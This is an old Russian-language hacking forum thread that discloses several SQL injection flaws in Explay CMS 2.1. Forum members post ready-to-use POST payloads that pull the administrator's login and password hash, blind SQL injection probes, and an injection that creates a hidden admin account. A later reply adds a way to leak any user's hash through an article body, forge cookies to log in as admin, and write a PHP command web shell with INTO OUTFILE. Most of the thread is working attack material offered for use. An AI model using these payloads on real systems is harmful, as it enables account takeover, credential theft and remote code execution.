Explay CMS 2.1 множественные SQL inj + Exploit

Discussion in 'Веб-уязвимости' started by Dr.Z3r0, 30 Oct 2008.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Explay CMS 2.1

    1) SQL injection
    Need: magic_qoutes=Off
    Вообщем уязвимый код приводить не буду. Опишу как заюзать.

    Для эксплуатации необходим зарегестрированный юзер (далее U1). А также еще один юзер(U2) добавленный в друзья. Для обоих юзеров вы должны знать их id. Хочу еще обратить внимание на то что при эксплуатации этой уязвимости создается два ПМ сообщения, первое отправляется U2 в нем будет написанно только Hello, а второе сообщение будет содержать в себе админские логин/хеш и отправленно оно будет вам в ПМ.

    Пакет к серверу составляем приблизительно вот такого типа:
    Code:
    [B]URL:[/B] http://explay/messages/write/
    [B]POST: [/B]user=[id U2]&header=Hello',':)',NULL,'old'),('',[id U1],[id U1],'Хеш',(SELECT CONCAT(user_login,0x3a,user_password) FROM expl_users WHERE user_id=1),NULL,'new') -- dd&body=xxx&submit=1&body=xxx&submit=1
    [B]COOKIE:[/B] [куки вашего юзера]
    2) Blind SQL injection's
    Need: magic_qoutes=Off
    Их всего две штуки, для первой написанн эксплойт (смотрим в атаче)
    Пакет составлять так:
    Code:
    [B]URL:[/B] http://explay/feedback/
    [B]POST:[/B] text=1&[email protected]&mail=1' AND 1=IF(2>1,1,0) -- d
    Либо для второй, но тут уже нужен зарегестрированный в системе юзер
    Code:
    [B]URL:[/B] http://explay/edit_profile/
    [B]POST:[/B] name=1&save=1&email=1' OR 1=IF(1=1,1,0) -- d
    [B]COOKIE:[/B] [куки вашего юзера]
    3) Создание администратора.
    Need: magic_qoutes=Off, register_globals=On
    Чтобы создать юзера с правами админа, при регистрации нового юзера, указываем еще одну переменную
    Code:
    [B]POST:[/B] nicq=1','','','','off','',0,0,'','off','','','','','','','','','','',''), ('','login','9addbf544119efa4a64223b649750a510f0d463f','name','admin','1','[email protected]','1','','','','off','',0,0,'','off','','','','','','','','','','','') -- d
    в итоге создастся два юзера, один из них будет с правами администратора. Для этой уязвимости написанн эксплойт (ацкей сплоент на чистом html), с прикольным интерфейсом, смотрим в атаче
     

    Attached Files:

    7 people like this.
  2. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    [Explay CMS <= 2.1] SQL Injection

    [Explay CMS <= 2.1] SQL Injection

    Уязвимость позволяет получить хэш пароля любого пользователя.
    Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.

    Для получение пароля необходимо добавить статью (http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).

    Код добавления новой статьи:
    modules/articles/mysql.class.php
    PHP:
        public function add_article ($art) {
            
    $this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
                            0,
                            '"
    .$art['art_category']."',
                            '"
    .$art['art_header']."',
                            '"
    .$art['art_body']."',
                            '"
    .User::$properties['user_id']."',
                            '"
    .time()."',
                            '"
    .$art['art_comments']."',
                            '',
                            '',
                            '"
    .$art['art_publik']."',
                            'no',
                            '"
    .$art['art_visible']."',
                            '"
    .$art['art_tags']."',
                            '0',
                            '',
                            '0',
                            '"
    .$art['auto_tag']."'
            )"
    );
    Составляем ядовитый "текст" статьи:

    PHP:
    aaaaa', 
    (SELECT user_id FROM expl_users WHERE user_login='
    <UR_LOGIN>'), 
    '
    1228445451', 
    '
    on', 
    '', 
    '', 
    '
    yes', 
    '
    no', 
    '
    on', 
    (SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='
    <USER'S_LOGIN>'),
    '0'
    ''
    '0'
    'yes' )/*
    Подзапрос
    нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)

    В итоге выполнится вот такой запрос:
    PHP:
    INSERT INTO expl_articles VALUES 0
    ''
    'some_title'
    'aaaaa'
    (
    SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'), 
    '1228445451'
    'on'
    ''
    ''
    'yes'
    'no'
    'on'
    (
    SELECT concat_ws(0x3auser_loginuser_passwordFROM expl_users WHERE user_login='<USER'S_LOGIN>'),
    '
    0', 
    '', 
    '
    0', 
    '
    yes' )
    Результат вложенного запроса добавиться в виде "login:password" в поле Теги, например
    Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
    PHP:
    function expl_hash($str) {
        if (
    function_exists('sha1'))
            return 
    sha1($str); 
        elseif (
    function_exists('mhash'))
            return 
    bin2hex(mhash(MHASH_SHA1$str));
        else
            return 
    md5($str);
    }
    Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).

    К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.

    Getting shell
    Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
    PHP:
    SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'
     
    #2 [х26]VОLАND, 5 Dec 2008
    Last edited: 3 Jan 2009
    7 people like this.
  3. procedure

    procedure Elder - Старейшина

    Joined:
    22 Dec 2007
    Messages:
    527
    Likes Received:
    257
    Reputations:
    46
    А что в этих запросах значит
    ?
     
  4. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    Тут мы должны получить свой собственный user_id, так как его необходимо указать при вставке, чтобы именно мы были автором статьи. Можно конечно и не указывать "WHERE user_login='<UR_LOGIN>'" и вписать к примеру единицу (user_id=1), но тогда автором будет сам админ =).
    <UR_LOGIN> - наш логин (не путать с именем!).